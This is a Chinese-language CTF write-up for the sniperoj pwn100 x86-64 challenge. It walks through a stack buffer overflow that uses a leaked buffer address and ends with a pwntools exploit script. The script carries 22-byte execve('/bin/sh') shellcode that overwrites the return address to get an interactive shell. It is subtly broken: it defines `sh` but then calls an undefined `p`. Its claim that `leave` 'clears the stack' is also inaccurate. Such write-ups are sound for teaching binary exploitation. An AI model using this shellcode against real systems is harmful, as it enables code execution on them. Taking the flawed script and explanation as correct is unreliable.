sniperoj-pwn100-shellcode-x86-64

发布时间 2023-11-09 09:43:42作者: cosylan

来源

本题来自ctfi-wiki,是基本ROP中shellcode的一道例题

查看保护

  • 程序只开启了位置无关保护 PIE
  • 并且有可写可执行的段

反汇编

  • 发现程序中直接输出了buf的地址,所以PIE就不起作用了
  • 可以看到,后面read函数还调用了buf,很显然就是要利用buf这个段了
  • 然后在汇编代码发现调用read后,后面就紧跟着leave,这个操作会清空栈,故我们要使用buf前面的字节

计算偏移

从ida中可以看到,buf与rbp距离为10h,所以可以直接计算出偏移量 10h
为了防止ida出错,我们在gdb中也反汇编一下main函数,看看是否有差异(有时候ida会与gdb结果不同,以gdb为准)

  • 可以看到二者是相符合的
  • 发现可以利用的字节数只有 10h + 8 = 24 少于 pwntools中自动生成的shellcode的字节数,所以我们要去找占用更少字节的shellcode
  • 这边推荐一个网站,里面的shellcode很丰富并且一直有在维护:https://www.exploit-db.com/shellcodes

exp

# -*- coding:utf-8 -*-
from pwn import *

# 22字节的shellcode
shellcode= b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05" 

sh = process('./shellcode')
sh.recvuntil('[')
buf_addr = sh.recvuntil(']',drop=True)   # 获取buf的地址,这边的drop=True表示舍弃 ']' 
target_addr = int(buf_addr,16) + 24 + 8  # 指向shellcode的地址
p.sendline(24* b'a'+p64(target_addr)+shellcode)
p.interactive()